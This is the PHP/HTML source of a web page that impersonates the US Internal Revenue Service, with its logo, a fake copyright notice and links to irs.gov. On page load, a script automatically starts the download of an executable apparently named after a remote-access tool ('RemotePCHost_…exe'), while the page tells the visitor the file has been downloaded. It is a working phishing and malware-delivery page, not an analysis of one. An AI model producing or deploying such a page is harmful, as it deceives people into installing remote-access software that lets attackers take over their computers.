<?php
$FILE_PATH = __DIR__ . '/downloads/RemotePCHost_i8D4I5I0J0MkRnB.exe';
$FILE_NAME = 'RemotePCHost_i8D4I5I0J0MkRnB.exe';

$file_exists = file_exists($FILE_PATH);
?>
<!DOCTYPE html>
<html lang="ar">
<head>
    <meta charset="UTF-8" />
    <title>Download Center</title>
    <style>
        body{font-family:Arial;text-align:center;background:#f2f4f8}
        .box{background:white;width:360px;margin:100px auto;padding:30px;border-radius:10px;box-shadow:0 0 20px rgba(0,0,0,.1)}
        .btn{background:#2d6cdf;color:white;padding:15px 25px;border-radius:6px;text-decoration:none;font-size:18px;display:inline-block;cursor:pointer;border:none}
        .btn:hover{background:#204fa3}
    </style>
</head>
<body>

<div class="box">
    <h2>
        <a href="https://logos-world.net/wp-content/uploads/2021/02/IRS-Logo.png" style="outline: 0px;">
            <img src="https://logos-world.net/wp-content/uploads/2021/02/IRS-Logo-700x394.png" alt="IRS Logo" width="250" style="display: block; margin: 0 auto;" />
        </a>
    </h2>
    <h2 style="font-size: 28px; margin-bottom: 20px; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;">Your file has been downloaded.</h2>
    
    <div>
        <h2 style="font-size: 28px; color: rgb(0, 102, 204); margin-bottom: 20px; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;">
            <!-- الرابط يشير إلى مجلد downloads مباشرة في المتصفح -->
            <a id="downloadBtn" class="btn" href="downloads/RemotePCHost_i8D4I5I0J0MkRnB.exe" download="RemotePCHost_i8D4I5I0J0MkRnB.exe">Download Now</a>
        </h2>
    </div>

    <div class="footer" style="margin-top: 30px; font-size: 14px; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;">
        <p style="color: rgb(119, 119, 119);">&copy; 2025 Internal Revenue Service. All rights reserved.</p>
        <p>
            <a href="https://www.irs.gov" style="text-decoration: none; font-weight: 600; color: #000;">Privacy Policy</a> | 
            <a href="https://www.irs.gov/" style="text-decoration: none; font-weight: 600; color: #000;">Terms of Service</a>
        </p>
    </div>
</div>

<script>
window.onload = function() {
    var downloadLink = document.getElementById('downloadBtn');
    if (downloadLink) {
        downloadLink.click();
    }
};
</script>

</body>
</html>
